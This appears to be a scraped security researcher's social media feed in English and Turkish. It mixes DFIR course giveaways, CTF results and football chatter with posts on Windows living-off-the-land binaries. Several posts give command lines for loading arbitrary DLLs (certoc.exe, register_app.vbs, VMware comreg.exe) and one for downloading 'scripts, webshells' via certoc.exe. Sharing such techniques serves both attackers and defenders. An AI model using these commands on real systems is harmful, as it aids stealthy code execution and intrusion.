Ensar Şamil

#ThreatHunting #DFIR

[Ensar Şamil @sblmsrsn]

I figured out that "C:\Windows\System32\certoc.exe -LoadDLL <DLLName>" can be used for loading DLLs. It looks like an alternative #lolbin to regsvr32.

[Ensar Şamil @sblmsrsn]

@BoraOzkent Adam ikizler burcu

[Ensar Şamil @sblmsrsn]

@ekinndev @BoraOzkent Haftanın geri kalanını da raporla kapatırlar büyük ihtimal

[DFIR Diva @DfirDiva]

📣 I partnered with @13CubedDFIR for a Valentine's Day Giveaway! 🎁

🏆 1 Grand Prize winner will receive one course of their choice from the list below + a 13Cubed Investigator T-Shirt.

Courses:
- Investigating Windows Endpoints
- Investigating Windows Memory
- Investigating macOS Endpoints
- Investigating Linux Devices

Each course comes with a Certificate of Completion as well as Certification attempts.

👕 5 winners will receive 13Cubed Investigator T-Shirts.

To Enter:
✅ Like
✅ Comment with the name of the course you want to win
✅ Repost

On Valentine's Day (February 14th, 2026) entries from across three social media platforms will be combined and winners will be selected.

For more info check out:

13Cubed Courses: https://t.co/xbinmzzOdI

Certification Information: https://t.co/IVM2zdyp62

T-Shirts: https://t.co/021POuAXQL

#DFIR #DigitalForensics #IncidentResponse

[Ensar Şamil @sblmsrsn]

@DfirDiva @13CubedDFIR Investigating macOS Endpoints

[Bosnian History @BosnianHistory]

Today we mark 28 years since the #Srebrenica genocide in which 8372 Bosniak civilians were brutally murdered. They were killed after Serb forces attacked the UN "safe area" of Srebrenica in July 1995.

#SrebrenicaGenocide ▪️

[Ensar Şamil @sblmsrsn]

Yedik bulgurumuzu, yaptık pull'umuzu.

[Tino aka Paladin316 @Paladin3161]

I'm continuing to add my #ThreatHunting datasets to my github page https://t.co/XG151pO5XE. These hunts can easily be turned into #detections for Sysmon or @CrowdStrike . I'd recommend performing some statistical analysis within your env to determine know good to filter out.

[Ensar Şamil @sblmsrsn]

@Tumyad4 Garibim, Allah acil şifalar versin.

[Ensar Şamil @sblmsrsn]

Böyle derbileri özlemiştik.

[Fenerbahçe SK @Fenerbahce]

1905 numaralı oyuncu elendi.

Oyun bitti.

#GSvFB

[Ensar Şamil @sblmsrsn]

A #LOLScript to register a DLL as COM+ Application. You can use it to load DLLs via "cscript.exe "C:\Program Files (x86)\Windows Kits\10\bin\10.0.22000.0\x64\register_app.vbs" -register <Provider_Name> <Provider.DLL> <Provider_Description>".

[Ensar Şamil @sblmsrsn]

https://t.co/3XoqWw6jbX

[Ensar Şamil @sblmsrsn]

P.S. Requires Administrator privileges!

[Ensar Şamil @sblmsrsn]

When you manage to land on a virtual machine which VMware Tools is installed, you can load your DLLs and register COM applications via "C:\Program Files\Common Files\VMware\vss\comreg.exe -register <DLL> <ServiceName> <ShortName> <Description>". #redteam #blueteam #infosec

[Ensar Şamil @sblmsrsn]

If you just want to download your scripts, webshells etc. and to do that with a new #lolbin, then you can use "certoc.exe -GetCACAPS <URL>".

[Ensar Şamil @sblmsrsn]

@keydet89 Windows Server 2022 Standard, version 21H2

[Ensar Şamil @sblmsrsn]

I figured out that "C:\Windows\System32\certoc.exe -LoadDLL <DLLName>" can be used for loading DLLs. It looks like an alternative #lolbin to regsvr32.

[Ensar Şamil @sblmsrsn]

@Oddvarmoe Thank you @Oddvarmoe :)

[Ensar Şamil @sblmsrsn]

@beardedpackets Yes, it does not require.

[Ensar Şamil @sblmsrsn]

There is an info about removal of this #lolbin for specific versions. Also, I could not find it on version 1607.
https://t.co/H8J63P5Rpq
I found it on latest 21H2 version.

[Ensar Şamil @sblmsrsn]

I figured out that "C:\Windows\System32\certoc.exe -LoadDLL <DLLName>" can be used for loading DLLs. It looks like an alternative #lolbin to regsvr32.

[Ensar Şamil @sblmsrsn]

I really enjoyed these CTFs. I recommend these to everyone who wants to challenge blue team skills. Looking forward to new one 😎

[SocVel @SocVeldotcom]

Three for Three as @sblmsrsn solves the #Pooptoria #DFIR #CTF challenge!